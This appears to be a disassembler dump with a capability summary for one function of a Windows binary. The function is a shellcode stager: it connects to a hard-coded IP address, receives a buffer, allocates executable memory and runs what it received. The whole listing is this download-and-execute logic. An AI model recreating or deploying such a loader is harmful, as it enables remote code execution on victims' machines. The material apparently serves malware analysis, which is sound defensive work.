Function at 0x4033c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51b508
mov eax, dword fs:[0]
push eax
mov eax, 0x2244
call fcn.004fe3f0
mov eax, dword [0x5704c8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x224c], ecx
call fcn.00403290
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403438
push 0x403a30
push str.Failed_to_initialize_Winsock
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov eax, 1
jmp 0x403a08
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffff
jne 0x403481
push 0x403a30
push str.Failed_to_create_socket
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403a08
mov ecx, 2
mov word [ebp - 0x1fc], cx
push 0x1e61
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1fa], ax
push str.154.23.181.145
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1f8], eax
push 0x10
lea edx, [ebp - 0x1fc]
push edx
mov eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403506
push 0x403a30
push str.Failed_to_connect_to_server
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403a08
lea ecx, [ebp - 0x2214]
call fcn.00403cb0
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x403590
push 0
push 0x2000
lea eax, [ebp - 0x2204]
push eax
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2218], eax
cmp dword [ebp - 0x2218], 0
jg 0x40354d
jmp 0x403590
lea edx, [ebp - 0x2220]
push edx
lea ecx, [ebp - 0x2214]
call fcn.00403d40
mov eax, dword [eax]
mov dword [ebp - 0x221c], eax
mov ecx, dword [ebp - 0x2218]
lea edx, [ebp + ecx - 0x2204]
push edx
lea eax, [ebp - 0x2204]
push eax
mov ecx, dword [ebp - 0x221c]
push ecx
lea ecx, [ebp - 0x2214]
call fcn.00404af0
jmp 0x403518
mov edx, dword [ebp - 0x1b8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x52a038
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jne 0x403602
push 0x403a30
push str.Failed_to_load_kernel32.dll
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov dword [ebp - 0x2224], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2214]
call fcn.00403ce0
mov eax, dword [ebp - 0x2224]
jmp 0x403a08
push 0x52a00c
mov eax, dword [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x403668
push 0x403a30
push str.Failed_to_get_VirtualAlloc_address
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov dword [ebp - 0x2228], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2214]
call fcn.00403ce0
mov eax, dword [ebp - 0x2228]
jmp 0x403a08
push str.VirtualFree
mov ecx, dword [ebp - 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x4036ce
push 0x403a30
push str.Failed_to_get_VirtualFree_address
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov dword [ebp - 0x222c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2214]
call fcn.00403ce0
mov eax, dword [ebp - 0x222c]
jmp 0x403a08
push 0x40
push 0x1000
lea ecx, [ebp - 0x2214]
call fcn.00403d70
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jne 0x40373d
push 0x403a30
push str.Failed_to_allocate_memory_for_shellcode
push 0x578220
call fcn.00404710
add esp, 8
mov ecx, eax
call fcn.00403a50
mov dword [ebp - 0x2230], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2214]
call fcn.00403ce0
mov eax, dword [ebp - 0x2230]
jmp 0x403a08
lea ecx, [ebp - 0x2214]
call fcn.00403d70
push eax
lea ecx, [ebp - 0x2214]
call fcn.00401fc0
push eax
mov edx, dword [ebp - 0x1c0]
push edx
call fcn.004fda70
add esp, 0xc
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x204], eax
call dword [ebp - 0x204]
push 0x8000
push 0
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [ebp - 0x1b4]
mov dword [ebp - 0x2234], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2214]
call fcn.00403ce0
mov eax, dword [ebp - 0x2234]
jmp 0x403a08
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fda59
mov esp, ebp
pop ebp
ret